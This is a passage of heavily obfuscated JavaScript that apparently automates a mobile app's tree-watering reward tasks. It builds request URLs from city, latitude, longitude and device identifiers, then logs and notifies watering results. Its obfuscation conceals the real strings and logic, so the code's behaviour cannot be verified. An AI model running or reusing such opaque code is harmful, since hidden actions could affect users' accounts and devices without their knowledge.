_0x2d09ea[_0x445e2e(0xec0,0xe37,'\x24\x63\x6f\x37',0xaf0,0xbf9)](_0x4a67bf,_0x185bc6);},'\x6e\x48\x4a\x53\x6d':function(_0x16e79b,_0x488bb7){function _0x3e2bc8(_0x388351,_0xd4ab3f,_0x5c7c5b,_0x2e05b5,_0x14affc){return _0x58266a(_0x388351-0x3e,_0xd4ab3f-0x47,_0x5c7c5b-0x11d,_0x2e05b5-0x325,_0xd4ab3f);}return _0x2d09ea[_0x3e2bc8(0x1ede,'\x57\x73\x5d\x21',0xcea,0x15fd,0x1e83)](_0x16e79b,_0x488bb7);},'\x57\x6b\x69\x71\x5a':function(_0x578399,_0x4d206b){function _0x5b5464(_0x5abe63,_0x47d8ab,_0x2abcb9,_0x3221f9,_0x686108){return _0x6b8f2f(_0x5abe63-0x0,_0x5abe63,_0x2abcb9-0xa4,_0x686108-0x2,_0x686108-0xef);}return _0x2d09ea[_0x5b5464('\x32\x49\x5b\x49',-0x52a,0x8b4,-0x34f,0x300)](_0x578399,_0x4d206b);},'\x49\x55\x4c\x58\x70':function(_0x27db05,_0xbd9cac){function _0x257681(_0x258353,_0x5e40d3,_0x543d99,_0x5ab1b1,_0x457047){return _0x58266a(_0x258353-0xe5,_0x5e40d3-0x1bf,_0x543d99-0xcc,_0x5ab1b1-0x38f,_0x543d99);}return _0x2d09ea[_0x257681(0x22e,0x659,'\x52\x7a\x58\x2a',0x9b5,0x4fd)](_0x27db05,_0xbd9cac);},'\x57\x42\x68\x6a\x4c':function(_0x245e74,_0x20ee47){function _0x162e83(_0xa73d35,_0x559346,_0x39df01,_0x2db592,_0x5a1f4){return _0x1d6cdb(_0xa73d35-0x2d9,_0x559346-0xa6,_0x39df01,_0x2db592-0xa2,_0x5a1f4-0xf5);}return _0x2d09ea[_0x162e83(0x139e,0xf19,'\x76\x78\x62\x62',0x1a02,0x1786)](_0x245e74,_0x20ee47);},'\x75\x49\x76\x78\x47':function(_0x2d0594,_0x303856){function _0x5cd287(_0x35b0ab,_0x53b1a0,_0x5dc9f6,_0x3599b9,_0x592f55){return _0x6b8f2f(_0x35b0ab-0xb8,_0x592f55,_0x5dc9f6-0x19a,_0x53b1a0- -0x21,_0x592f55-0x177);}return _0x2d09ea[_0x5cd287(0x128d,0x108c,0x16f5,0x8a9,'\x33\x2a\x64\x68')](_0x2d0594,_0x303856);},'\x4f\x42\x76\x62\x5a':function(_0x542285,_0x593703){function _0x5b0dd5(_0x15c20e,_0x226451,_0x49a911,_0x57e484,_0x4d6466){return _0x6b8f2f(_0x15c20e-0xe2,_0x49a911,_0x49a911-0x195,_0x15c20e- -0x3fa,_0x4d6466-0x4f);}return _0x2d09ea[_0x5b0dd5(0x814,0xb81,'\x52\x59\x64\x49',0x757,0x478)](_0x542285,_0x593703);},'\x56\x6b\x56\x4d\x68':function(_0x4610a0,_0x461aed){function _0x30cd10(_0x43d5d0,_0x48167d,_0x5a1fd4,_0x30391f,_0xfd3468){return _0x6b8f2f(_0x43d5d0-0xe4,_0x30391f,_0x5a1fd4-0xe0,_0xfd3468-0x1d6,_0xfd3468-0x18d);}return _0x2d09ea[_0x30cd10(0x71c,0xf98,0x1022,'\x4a\x61\x70\x57',0xdf5)](_0x4610a0,_0x461aed);},'\x65\x77\x72\x64\x45':function(_0x3dea52,_0x47feb1){function _0x180d95(_0x540fea,_0x1af74d,_0x4ce4c8,_0x85ed78,_0x14e429){return _0x13010f(_0x540fea-0x32,_0x1af74d-0x1e2,_0x4ce4c8-0xba,_0x1af74d,_0x4ce4c8- -0x64);}return _0x2d09ea[_0x180d95(0x1738,'\x36\x6c\x21\x41',0x1024,0x750,0x17c2)](_0x3dea52,_0x47feb1);},'\x52\x54\x73\x71\x65':function(_0x1dd439,_0x4419d6){function _0x194052(_0x2c96fd,_0x248d08,_0x4dda5e,_0x396c0c,_0x5461bd){return _0x2d4c74(_0x248d08-0x1e0,_0x248d08-0x6c,_0x2c96fd,_0x396c0c-0xe2,_0x5461bd-0xdc);}return _0x2d09ea[_0x194052('\x6d\x5e\x6e\x43',0x826,0x9c5,0x28e,0xfc1)](_0x1dd439,_0x4419d6);},'\x58\x54\x51\x52\x59':function(_0x4ec79e,_0x3bb941){function _0x4cc4f7(_0x222aae,_0xb53641,_0x2cb70f,_0x41529c,_0x454fde){return _0x13010f(_0x222aae-0x4c,_0xb53641-0x176,_0x2cb70f-0x76,_0x222aae,_0xb53641- -0x4e);}return _0x2d09ea[_0x4cc4f7('\x66\x66\x76\x75',0x84c,0x3f1,0x65d,0x7c8)](_0x4ec79e,_0x3bb941);},'\x4d\x4b\x52\x41\x61':function(_0x829c43,_0x261875){function _0x1dd362(_0x14f1be,_0x10dabf,_0x460326,_0x1eeb39,_0x200720){return _0x13010f(_0x14f1be-0x14e,_0x10dabf-0x136,_0x460326-0x22,_0x14f1be,_0x200720-0x50b);}return _0x2d09ea[_0x1dd362('\x4f\x40\x44\x71',0x9e7,0xec6,0xc45,0x10e2)](_0x829c43,_0x261875);},'\x71\x66\x75\x74\x52':function(_0x153fd0,_0x54a007){function _0x56e575(_0x384849,_0x5a55e5,_0x10079a,_0x3403ef,_0x517d70){return _0x2d4c74(_0x3403ef-0x23e,_0x5a55e5-0x8f,_0x384849,_0x3403ef-0x9c,_0x517d70-0x1c8);}return _0x2d09ea[_0x56e575('\x36\x57\x6b\x69',0x175c,0x1b95,0x1495,0x172d)](_0x153fd0,_0x54a007);},'\x57\x47\x50\x6f\x41':_0x2d09ea[_0x58266a(0xee0,0x1313,0xc5d,0x11fe,'\x57\x73\x5d\x21')],'\x6c\x69\x46\x47\x55':function(_0x3fa582){function _0x1335d8(_0x380e18,_0x216df6,_0x21c173,_0x23449b,_0x2bd347){return _0x6b8f2f(_0x380e18-0x175,_0x216df6,_0x21c173-0x1c,_0x2bd347- -0x118,_0x2bd347-0x11b);}return _0x2d09ea[_0x1335d8(0xbf,'\x36\x70\x67\x64',0xb93,0xe51,0x9eb)](_0x3fa582);}};function _0x58266a(_0x7369b7,_0x40c0ff,_0x61515,_0x291c82,_0x35b44d){return _0x18eff3(_0x7369b7-0x1b8,_0x35b44d,_0x61515-0x3f,_0x291c82-0x19a,_0x291c82-0x232);}function _0x2d4c74(_0x247cf4,_0x38e6da,_0x2e0154,_0x3232f8,_0x543200){return _0x4b28e9(_0x247cf4-0x126,_0x38e6da-0x115,_0x2e0154-0x21,_0x2e0154,_0x247cf4-0x313);}function _0x6b8f2f(_0xeeb92a,_0x493fc4,_0x43ebe6,_0x490200,_0x437b15){return _0x264322(_0xeeb92a-0x1e0,_0x493fc4-0xa8,_0x43ebe6-0x192,_0x493fc4,_0x490200-0x17c);}function _0x13010f(_0x2e4277,_0x945e26,_0x33bdb3,_0x34f1ff,_0x7f67e2){return _0x26e21d(_0x2e4277-0xb,_0x7f67e2-0x113,_0x33bdb3-0x196,_0x34f1ff,_0x7f67e2-0xfa);}try{let _0x30e0f7=Math[_0x2d4c74(0xb6d,0x128e,'\x29\x52\x4b\x66',0x619,0x5d5)](new Date()),_0xdabc25=_0x2d09ea[_0x1d6cdb(0x94b,0x8de,'\x57\x73\x5d\x21',0x4e4,0x8)](urlTask,_0x2d09ea[_0x58266a(0x9ab,0x817,0x1326,0xb73,'\x36\x70\x67\x64')](_0x2d09ea[_0x58266a(0x794,0x107d,0xb9c,0xd03,'\x4a\x61\x70\x57')](_0x2d09ea[_0x6b8f2f(0x52a,'\x62\x77\x6a\x54',-0xeb,0x675,0x2ca)],_0x30e0f7),_0x2d09ea[_0x13010f(0xbcf,0x2c6,0x7e5,'\x6d\x57\x5a\x29',0x59a)]),_0x2d09ea[_0x6b8f2f(0x19d7,'\x4f\x4f\x25\x29',0xfd1,0x142b,0x193c)](_0x2d09ea[_0x6b8f2f(-0xa7,'\x33\x2a\x64\x68',0xcfc,0x5b1,0x321)](_0x2d09ea[_0x58266a(0x674,-0x23d,-0x5e,0x13f,'\x6d\x57\x5a\x29')](_0x2d09ea[_0x6b8f2f(0x48f,'\x63\x66\x74\x31',0x13d5,0xac7,0xdd8)](_0x2d09ea[_0x1d6cdb(0xc4e,0xb7f,'\x47\x38\x4e\x52',0x1131,0x84e)](_0x2d09ea[_0x13010f(0x6a8,-0x184,0x2cf,'\x34\x62\x40\x70',0x4ff)](_0x2d09ea[_0x1d6cdb(0x4b5,-0x1d5,'\x5a\x30\x31\x38',0x497,0x810)](_0x2d09ea[_0x58266a(0x23,0x4c9,0x11d,0x13f,'\x6d\x57\x5a\x29')](_0x2d09ea[_0x6b8f2f(0x802,'\x50\x21\x6c\x48',0x7a4,0xb1a,0xbb6)](_0x2d09ea[_0x58266a(0x91b,-0x22,0x48c,0x203,'\x63\x66\x74\x31')](_0x2d09ea[_0x6b8f2f(0x117c,'\x53\x78\x42\x55',0x869,0xa4c,0xed2)](_0x2d09ea[_0x2d4c74(0x83e,0x423,'\x5d\x5d\x4d\x42',0xadd,0x197)](_0x2d09ea[_0x2d4c74(0x6f9,0x65f,'\x4e\x54\x74\x26',0x7be,0x67b)](_0x2d09ea[_0x2d4c74(0x90d,0x6c3,'\x65\x54\x72\x35',0x41c,0x101f)](_0x2d09ea[_0x13010f(0xd21,0xfd8,0xe54,'\x75\x5d\x54\x4f',0x6d7)](_0x2d09ea[_0x58266a(0x9d7,0xde1,0x1891,0x10a8,'\x36\x57\x6b\x69')](_0x2d09ea[_0x13010f(0x979,0x845,0x9ca,'\x62\x77\x6a\x54',0x164)](_0x2d09ea[_0x1d6cdb(0xe36,0x6d2,'\x53\x28\x21\x51',0x10ef,0x9b2)](_0x2d09ea[_0x6b8f2f(0xa80,'\x57\x38\x4f\x70',0x6a6,0x9c0,0x246)](_0x2d09ea[_0x6b8f2f(0x15ba,'\x6e\x70\x4f\x48',0xf1f,0xf7b,0xb13)](_0x2d09ea[_0x58266a(0x853,0x185,0xc10,0xa0d,'\x6d\x57\x5a\x29')](_0x2d09ea[_0x13010f(0xdba,0xc16,0x80e,'\x75\x5d\x54\x4f',0x655)](_0x2d09ea[_0x58266a(0xa7f,0x1110,0x130b,0x1014,'\x6e\x70\x4f\x48')](_0x2d09ea[_0x1d6cdb(0x13cf,0x153e,'\x29\x52\x4b\x66',0xc99,0x17c5)](_0x2d09ea[_0x1d6cdb(0x66f,0x40c,'\x76\x25\x48\x64',-0x25a,0x4e)](_0x2d09ea[_0x6b8f2f(0x1185,'\x57\x38\x4f\x70',0xd2b,0xa12,0x6e4)],cityid),_0x2d09ea[_0x13010f(0xe4a,0x13da,0x17ba,'\x24\x63\x6f\x37',0xfd5)]),lng),_0x2d09ea[_0x58266a(0x109b,0x495,0x5b1,0x926,'\x53\x41\x31\x35')]),lat),_0x2d09ea[_0x58266a(0x82a,0xdc7,0xd04,0x577,'\x46\x6f\x5e\x6c')]),lat),_0x2d09ea[_0x13010f(0x787,0xcbe,0x2c1,'\x53\x34\x6c\x29',0xb91)]),lng),_0x2d09ea[_0x58266a(0x13e1,0x1742,0x1993,0x134a,'\x63\x66\x74\x31')]),lat),_0x2d09ea[_0x13010f(0x5eb,0xe2b,0x7ca,'\x66\x66\x76\x75',0x8ee)]),lng),_0x2d09ea[_0x6b8f2f(0xd4,'\x5a\x30\x31\x38',0xc8c,0x757,0xca8)]),cityid),_0x2d09ea[_0x2d4c74(0xfb5,0x1493,'\x52\x7a\x58\x2a',0x16c3,0xf98)]),deviceid),_0x30e0f7),_0x2d09ea[_0x1d6cdb(0x35e,0x514,'\x57\x38\x4f\x70',0x199,-0x4e9)]),deviceid),_0x2d09ea[_0x2d4c74(0xd24,0xc65,'\x6d\x57\x5a\x29',0x57a,0x5f8)]),deviceid),_0x2d09ea[_0x58266a(0x40a,0x235,-0x166,0x6c6,'\x76\x25\x48\x64')]),_0x30e0f7),_0x2d09ea[_0x2d4c74(0xbf7,0x1055,'\x34\x62\x40\x70',0x367,0x68d)]));await $[_0x2d4c74(0x71f,0xef9,'\x65\x54\x72\x35',0x102e,-0x183)][_0x2d4c74(0xe72,0x7bc,'\x36\x6c\x21\x41',0x11e9,0x83c)](_0xdabc25)[_0x58266a(0x7d8,0x5be,0x431,0xc65,'\x45\x33\x6b\x40')](async _0xdcc81e=>{function _0x1cb3c5(_0x390d2d,_0x5cc4b5,_0x28a50e,_0x2bd801,_0x43729b){return _0x2d4c74(_0x390d2d- -0x37c,_0x5cc4b5-0x1cc,_0x5cc4b5,_0x2bd801-0x25,_0x43729b-0x1d1);}function _0x550737(_0x3c6169,_0x3b0244,_0x5943ad,_0x465792,_0x34745f){return _0x13010f(_0x3c6169-0xee,_0x3b0244-0x188,_0x5943ad-0x165,_0x465792,_0x34745f-0x1ec);}function _0x16a196(_0x1b7e3a,_0x326ae4,_0x187389,_0x15036e,_0x51c935){return _0x1d6cdb(_0x15036e- -0x24,_0x326ae4-0x1f2,_0x1b7e3a,_0x15036e-0xb2,_0x51c935-0x9b);}function _0xac0410(_0x4aafcf,_0x35c177,_0x4abd63,_0x2035d3,_0x441555){return _0x2d4c74(_0x4abd63- -0x1b3,_0x35c177-0x41,_0x35c177,_0x2035d3-0x1c9,_0x441555-0x1e1);}function _0x5d432b(_0x409423,_0x3c2ee8,_0x4d4914,_0x4e7d6a,_0x14476c){return _0x58266a(_0x409423-0x18e,_0x3c2ee8-0x9a,_0x4d4914-0x1ba,_0x409423- -0x17b,_0x3c2ee8);}let _0x3bfdf1=JSON[_0xac0410(-0x22e,'\x31\x5e\x34\x5a',0x3cf,0x3ce,-0x3b0)](_0xdcc81e[_0xac0410(0x11b7,'\x63\x66\x74\x31',0x94b,0x1108,0x95a)]);if(_0x48b8c3[_0x1cb3c5(0x9f6,'\x78\x56\x67\x4f',0x703,0xcad,0x11c9)](_0x3bfdf1[_0x1cb3c5(0x1dd,'\x4f\x40\x44\x71',0x90c,0xe8,-0x4a7)],-0xef*0x1+-0xa*-0x327+-0x1e97)){_0x48b8c3[_0x16a196('\x6d\x57\x5a\x29',0x1544,0x1440,0xcd8,0x1325)](_0x48097e,0x5*-0x435+0x16a2+0x199*-0x1)&&(waterNum=_0x3bfdf1[_0x1cb3c5(0x10b1,'\x34\x62\x40\x70',0xfeb,0x157d,0x18b8)+'\x74'][_0x5d432b(0x6ac,'\x32\x49\x5b\x49',-0x2aa,0xe6,0xa33)+_0x5d432b(0x813,'\x35\x37\x26\x25',0x9b4,0xc6c,0x8c1)+'\x73\x65'][_0x16a196('\x77\x40\x43\x59',0x9a7,0x81d,0xa27,0x120f)+_0x550737(0x1172,0x106f,0xb90,'\x6b\x5e\x4e\x4d',0xd2f)+'\x63\x65'],shareCode+=_0x3bfdf1[_0xac0410(0xb1f,'\x6b\x5e\x4e\x4d',0xe57,0x14af,0x16d9)+'\x74'][_0xac0410(0x1177,'\x46\x6f\x5e\x6c',0xee2,0x1689,0x12e0)+_0x5d432b(0x390,'\x47\x38\x4e\x52',-0xd2,0x324,0x458)+_0x5d432b(0x812,'\x53\x78\x42\x55',0x700,0xe15,0xa34)+_0x16a196('\x53\x78\x42\x55',-0x203,0x4c,0x47c,-0x19a)][_0x16a196('\x6b\x5e\x4e\x4d',0x538,-0x415,0x169,0xabe)+'\x69\x6e']);if(_0x48b8c3[_0x5d432b(0x195,'\x45\x33\x6b\x40',0x7be,-0x13,-0x42)](_0x48097e,-0x1807*0x1+-0x1fdd*-0x1+-0x7d4)){waterNum=_0x48b8c3[_0x550737(0x78a,0x102d,0x13ec,'\x4f\x4f\x25\x29',0xc2b)](_0x48b8c3[_0x550737(0x4ee,0xb9c,0x8c3,'\x5d\x78\x21\x39',0x964)](_0x48b8c3[_0xac0410(0x75a,'\x5d\x5d\x4d\x42',0x2a0,-0x54b,0x23)](waterTimes,0x1e89+-0x2c8*0x8+-0x83f*0x1),_0x3bfdf1[_0x5d432b(0xa01,'\x6b\x59\x6b\x44',0xe4d,0x514,0x45a)+'\x74'][_0x550737(0xb90,0x8fe,0xa2,'\x78\x45\x43\x4d',0x6a3)+_0x5d432b(0xbff,'\x46\x6f\x5e\x6c',0xa3d,0x14b2,0x80e)+'\x73\x65'][_0x5d432b(0x8b4,'\x42\x23\x5e\x5b',0xa3f,0x50d,0x4e9)+_0x550737(0xa47,0x158c,0xc48,'\x53\x34\x6c\x29',0xce1)+'\x63\x65']),waterNum);if(_0x48b8c3[_0x550737(0x859,0xd1b,0xaaa,'\x46\x6f\x5e\x6c',0x70a)](waterNum,0x63*0x36+-0x1*-0x1d23+0xc5*-0x41))waterNum=-0x25e6+-0x2425+-0xecf*-0x5;_0x48b8c3[_0x16a196('\x53\x78\x42\x55',0x1526,0x1c32,0x132c,0x10df)](_0x3bfdf1[_0x550737(0x9ef,0x12a1,0xd4d,'\x36\x57\x6b\x69',0x12e7)+'\x74'][_0x1cb3c5(0x55d,'\x57\x73\x5d\x21',0xc88,-0x220,0x1f2)+_0x1cb3c5(0x267,'\x57\x38\x4f\x70',0xa5f,0x17,-0x230)+_0x550737(0x2dc,-0x4a,0xaaf,'\x78\x56\x67\x4f',0x692)+_0x5d432b(0xd58,'\x53\x28\x21\x51',0x1039,0x5e8,0xc40)][_0x5d432b(0x1012,'\x32\x49\x5b\x49',0x72b,0x9d4,0x11a8)+_0x5d432b(0x98,'\x75\x5d\x54\x4f',-0x652,-0x7ee,-0x418)+_0x16a196('\x6e\x70\x4f\x48',0x818,0xb44,0xe8c,0x7f2)+_0xac0410(0x597,'\x45\x24\x6c\x69',0xaad,0x3ad,0x2c9)],0x1e11+0x1f*-0xc1+-0x6b2*0x1)&&(console[_0x5d432b(0x9ac,'\x78\x45\x43\x4d',0x998,0xb81,0x4e7)](_0x48b8c3[_0xac0410(0x1602,'\x5a\x30\x31\x38',0xfa4,0xa3f,0xbac)](_0x48b8c3[_0x16a196('\x53\x78\x42\x55',0xa5e,0x667,0xc89,0x51b)](_0x48b8c3[_0x1cb3c5(0x1fc,'\x57\x38\x4f\x70',-0x3e9,-0x528,0x7b8)](_0x48b8c3[_0x1cb3c5(0x9c2,'\x6b\x59\x6b\x44',0x5a8,0xd96,0xa66)](_0x48b8c3[_0x16a196('\x47\x28\x51\x45',0x1053,0x427,0xd58,0x13f6)],nickname),'\u3011\x3a'),_0x3bfdf1[_0xac0410(0xebe,'\x6b\x59\x6b\x44',0xbb6,0x4c8,0x11f2)+'\x74'][_0x5d432b(0x59d,'\x52\x59\x64\x49',0xc1a,0x6cd,0xab6)+_0x16a196('\x4f\x40\x44\x71',0x525,0xb6c,0x37c,-0x503)+_0x16a196('\x65\x54\x72\x35',0x40c,0xed0,0xc04,0xeac)+_0x16a196('\x53\x34\x6c\x29',0x149,0x6eb,0x4ee,0x198)][_0x16a196('\x33\x2a\x64\x68',0x433,0x530,0x17f,0x991)+_0x550737(0xc34,0xf12,0xcd3,'\x52\x7a\x58\x2a',0x1336)]),_0x48b8c3[_0x1cb3c5(0xe3,'\x4f\x40\x44\x71',0x7d6,-0x3df,-0x6ca)])),$[_0x16a196('\x24\x63\x6f\x37',-0x131,0x609,0x51d,0x2a6)+'\x79'](_0x48b8c3[_0x550737(0x7e1,0x2f5,0xef7,'\x47\x28\x51\x45',0x6bc)],_0x48b8c3[_0xac0410(0x6c1,'\x50\x21\x6c\x48',0xc8d,0x86d,0x39d)](_0x48b8c3[_0x16a196('\x52\x59\x64\x49',0x8c8,0xabe,0x985,0xdc0)]('\u3010',nickname),'\u3011'),_0x48b8c3[_0x5d432b(0xe57,'\x6b\x59\x6b\x44',0x1796,0x1449,0x1522)](_0x48b8c3[_0x550737(0x149e,0x170e,0xe72,'\x45\x24\x6c\x69',0xf62)](_0x48b8c3[_0x16a196('\x75\x5d\x54\x4f',0xab7,-0x10a,0x5b9,0x355)],_0x3bfdf1[_0xac0410(0x2cf,'\x75\x5d\x54\x4f',0x6ac,-0x18c,0x44d)+'\x74'][_0x16a196('\x4a\x61\x70\x57',0x1781,0x17c4,0x10b6,0x1667)+_0x5d432b(0x9,'\x31\x5e\x34\x5a',0x83c,-0x1ae,0x249)+_0x1cb3c5(0x721,'\x5d\x5d\x4d\x42',0xc03,0xff4,0x58d)+_0x16a196('\x57\x73\x5d\x21',0xb73,0x183b,0x135a,0x1049)][_0x5d432b(0x901,'\x57\x38\x4f\x70',0xf14,0xbe0,0xc41)+_0x550737(0x872,0xe8c,0x11af,'\x5d\x5d\x4d\x42',0x938)]),_0x48b8c3[_0x550737(0x1929,0x1097,0x14c5,'\x6b\x5e\x4e\x4d',0x1012)])),$[_0x5d432b(0x2a1,'\x24\x63\x6f\x37',0x4f0,0x621,0xa59)][_0x16a196('\x57\x38\x4f\x70',0xaa,0xec7,0x91f,0x2a)+'\x65']&&_0x48b8c3[_0xac0410(0x12f,'\x52\x7a\x58\x2a',0x79f,-0x1b7,0x559)](_0x48b8c3[_0x5d432b(0x8b0,'\x53\x28\x21\x51',0x1f1,0x547,0xdf3)](_0x48b8c3[_0x1cb3c5(0x91b,'\x73\x48\x6e\x6e',0xc73,0x1223,0x109b)]('',isNotify),''),_0x48b8c3[_0x550737(0xa88,-0x19d,0xa3d,'\x4f\x4f\x25\x29',0x634)])&&(msgStr+=_0x48b8c3[_0x550737(0x2e7,0xe82,0x39b,'\x31\x5e\x34\x5a',0xb3a)](_0x48b8c3[_0xac0410(0x68b,'\x46\x6f\x5e\x6c',0x885,0x63d,0x1cc)](_0x48b8c3[_0xac0410(0x8a0,'\x57\x38\x4f\x70',0xe53,0xc5c,0xe9d)](_0x48b8c3[_0x550737(0x1241,0x808,0xb83,'\x46\x6f\x5e\x6c',0xd1b)](_0x48b8c3[_0xac0410(0xcc8,'\x36\x57\x6b\x69',0xd92,0xd13,0x168f)],nickname),_0x48b8c3[_0x1cb3c5(0x6bf,'\x32\x49\x5b\x49',0x4a8,0x29a,0xe5e)]),_0x3bfdf1[_0x550737(0x90e,0xf19,0xaf,'\x66\x66\x76\x75',0x5f0)+'\x74'][_0xac0410(-0xc0,'\x6d\x5e\x6e\x43',0x4bc,0xc8e,0x34c)+_0x1cb3c5(0x281,'\x29\x52\x4b\x66',0x4cf,0x678,0xba8)+_0x5d432b(0x665,'\x77\x40\x43\x59',0x702,0xee4,0x863)+_0x550737(0xafa,0x163c,0xe8f,'\x29\x52\x4b\x66',0xd31)][_0xac0410(-0x5d3,'\x52\x59\x64\x49',0x1eb,-0x3d1,0xad5)+_0x5d432b(0x4f1,'\x77\x40\x43\x59',0x8c4,0xcb6,0xd53)]),_0x48b8c3[_0xac0410(0x2cd,'\x4a\x61\x70\x57',0x739,0xfc8,0xf47)])));if(_0x48b8c3[_0xac0410(0x793,'\x46\x6f\x5e\x6c',0x692,0x71f,0x707)](_0x3bfdf1[_0x5d432b(0x334,'\x6d\x57\x5a\x29',-0x4f9,-0x3eb,0x895)+'\x74'][_0x16a196('\x53\x41\x31\x35',0xfae,0xfb7,0x6ae,0x632)+_0xac0410(0x8ff,'\x45\x33\x6b\x40',0x1076,0x17a1,0xf4b)+_0x5d432b(0xb7d,'\x76\x78\x62\x62',0x1010,0x10ca,0x5ca)+_0x1cb3c5(0xf33,'\x66\x66\x76\x75',0x987,0x187a,0x1655)][_0xac0410(0x1f7,'\x57\x38\x4f\x70',0x477,0x9f5,0xb6c)+_0x1cb3c5(0x8ae,'\x53\x34\x6c\x29',0x47a,0x2fd,-0x3)+_0xac0410(0x473,'\x45\x24\x6c\x69',0x53e,-0x331,0xa80)+_0xac0410(-0x596,'\x53\x28\x21\x51',0x31a,0x779,0x638)],-0x19a4+0x6af+-0x17*-0xd3)){let _0x57f1ec='\u6b21';if(_0x48b8c3[_0x5d432b(0x429,'\x6e\x70\x4f\x48',0xabd,0xcc2,0x9e8)](_0x3bfdf1[_0xac0410(-0x179,'\x6e\x70\x4f\x48',0x718,0x79,0xb14)+'\x74'][_0x16a196('\x53\x78\x42\x55',0x349,0x1049,0x6fa,0x495)+_0x550737(0xdd3,0xd4d,0xd76,'\x35\x37\x26\x25',0x8c2)+_0xac0410(0xd14,'\x34\x62\x40\x70',0xbbc,0x10c8,0x1102)+_0x5d432b(0x25f,'\x36\x70\x67\x64',0x97,0x691,0x7fa)][_0xac0410(0xb39,'\x31\x5e\x34\x5a',0x1263,0x184c,0x1a55)+_0x5d432b(0x2f4,'\x78\x45\x43\x4d',-0x135,0x1c9,0x8a)+'\x67\x65'],0x25a3+0xede+0x4*-0xd1f))_0x57f1ec='\x25';console[_0x5d432b(0x95,'\x34\x62\x40\x70',0x24a,-0x534,0x73f)](_0x48b8c3[_0x16a196('\x6b\x59\x6b\x44',0x296,0xdc,0x1a4,-0x9f)](_0x48b8c3[_0x16a196('\x46\x6f\x5e\x6c',0x3f9,0x1002,0xc50,0x908)](_0x48b8c3[_0xac0410(0x15e8,'\x31\x5e\x34\x5a',0x12ce,0x15d1,0xfe6)](_0x48b8c3[_0x1cb3c5(0xef,'\x57\x38\x4f\x70',-0xea,0x495,-0x6b5)](_0x48b8c3[_0x1cb3c5(0xf2e,'\x36\x57\x6b\x69',0xe86,0xc48,0xf40)](_0x48b8c3[_0x16a196('\x57\x38\x4f\x70',0x1890,0xa06,0x1292,0xd00)](_0x48b8c3[_0x1cb3c5(0x1012,'\x32\x49\x5b\x49',0x8c4,0x6c7,0xfa6)](_0x48b8c3[_0x1cb3c5(0xa81,'\x53\x78\x42\x55',0x1073,0x12ba,0x247)](_0x48b8c3[_0x16a196('\x5d\x5d\x4d\x42',0x12d5,0x1092,0x1106,0xbec)](_0x48b8c3[_0xac0410(0x1ce,'\x65\x54\x72\x35',0x6dd,0xe7a,0x0)](_0x48b8c3[_0x1cb3c5(0x6c8,'\x50\x21\x6c\x48',0xff8,0x1010,0xda7)](_0x48b8c3[_0x550737(0x19bf,0x1903,0x15bd,'\x62\x77\x6a\x54',0x10e5)](_0x48b8c3[_0xac0410(0xd71,'\x33\x2a\x64\x68',0x138e,0xcc2,0x1535)](_0x48b8c3[_0x5d432b(0xb5,'\x63\x66\x74\x31',-0x1d5,0x968,-0x6a3)](_0x48b8c3[_0x5d432b(0x11e8,'\x36\x6c\x21\x41',0x9f6,0xf48,0xcb2)](_0x48b8c3[_0x16a196('\x36\x57\x6b\x69',0x5e2,0x3d7,0x30b,0xa84)],nickname),'\u3011\x3a'),_0x3bfdf1[_0x1cb3c5(0x1042,'\x31\x5e\x34\x5a',0x1919,0x103f,0x1710)+'\x74'][_0x550737(0x3cd,0x8b7,0x40e,'\x41\x43\x59\x76',0x3f8)+_0x1cb3c5(0x653,'\x73\x48\x6e\x6e',0x910,0x836,0xd82)+_0x550737(0x1074,0xd1d,0x36c,'\x57\x73\x5d\x21',0x803)+_0x550737(0xe71,0x1393,0x1635,'\x45\x24\x6c\x69',0x145c)][_0x16a196('\x62\x77\x6a\x54',0x14a3,0xa7d,0x13d7,0xc9b)+_0x550737(0xad7,0xb1a,0x1aa5,'\x36\x6c\x21\x41',0x12fe)]),_0x48b8c3[_0x16a196('\x77\x40\x43\x59',0x91d,0x8d1,0xce7,0x3a1)]),waterNum),_0x48b8c3[_0x550737(0xde5,0x74f,0xb89,'\x76\x78\x62\x62',0xd3f)]),waterTimes),_0x48b8c3[_0x16a196('\x36\x70\x67\x64',0x80e,0x11c5,0xdd8,0x976)]),_0x3bfdf1[_0xac0410(0x6b0,'\x52\x7a\x58\x2a',0x771,0xe7f,0x6a3)+'\x74'][_0x5d432b(0x518,'\x32\x49\x5b\x49',0x78e,0x53,0xba1)+_0xac0410(0x101d,'\x24\x63\x6f\x37',0x1366,0x1a33,0x11a2)+_0x550737(0xac0,0xb64,0x857,'\x36\x6c\x21\x41',0x10fc)+_0xac0410(0xf63,'\x24\x63\x6f\x37',0x1368,0x16dc,0x18fa)][_0x550737(-0x4c6,-0x345,0x48f,'\x6b\x5e\x4e\x4d',0x42e)+_0x16a196('\x73\x48\x6e\x6e',-0x380,-0x29a,0x2b5,0xe2)+_0xac0410(0x1d0,'\x4e\x54\x74\x26',0x95c,0x1113,0x5d)+_0xac0410(0xb56,'\x32\x49\x5b\x49',0x4b1,-0x15c,-0x267)]),_0x57f1ec),_0x3bfdf1[_0x550737(-0xb1,0xc39,-0x182,'\x4e\x54\x74\x26',0x5e1)+'\x74'][_0x1cb3c5(0x38e,'\x45\x33\x6b\x40',-0x275,-0x4ea,0xab9)+_0x5d432b(0xcb6,'\x4f\x4f\x25\x29',0xea9,0x1360,0x398)+_0x16a196('\x47\x38\x4e\x52',0xad4,0x950,0xd49,0xfac)+_0x5d432b(0x636,'\x78\x45\x43\x4d',0xa5f,0x638,0x6ab)][_0xac0410(0xcdf,'\x29\x52\x4b\x66',0xdbd,0x516,0x14a6)+_0x1cb3c5(0xb53,'\x75\x5d\x54\x4f',0x1448,0x56c,0x84b)]),_0x48b8c3[_0x5d432b(0x4a4,'\x6b\x5e\x4e\x4d',0xdd3,0x374,-0x41c)]),_0x3bfdf1[_0xac0410(0x8e8,'\x75\x5d\x54\x4f',0x6ac,0x19b,0x129)+'\x74'][_0x16a196('\x76\x25\x48\x64',0x19d2,0x1550,0x12c7,0x18d8)+_0x5d432b(0x12e,'\x5d\x78\x21\x39',0xc3,0x1ae,-0x2be)+'\x73\x65'][_0xac0410(0x9a1,'\x24\x63\x6f\x37',0x98a,0x930,0xa4)+_0x1cb3c5(0x62a,'\x5d\x5d\x4d\x42',0x5ea,0x954,0x1e9)+'\x63\x65']),'\u6ef4\u6c34'),hzstr)),$[_0x550737(0x93d,0x65,0x84e,'\x32\x49\x5b\x49',0x805)+'\x79'](_0x48b8c3[_0x16a196('\x24\x6e\x5d\x79',0x170d,0x1411,0x12be,0x1847)],_0x48b8c3[_0x16a196('\x4f\x40\x44\x71',0xd61,0xb55,0x12a0,0xdd3)](_0x48b8c3[_0x16a196('\x78\x56\x67\x4f',0xbd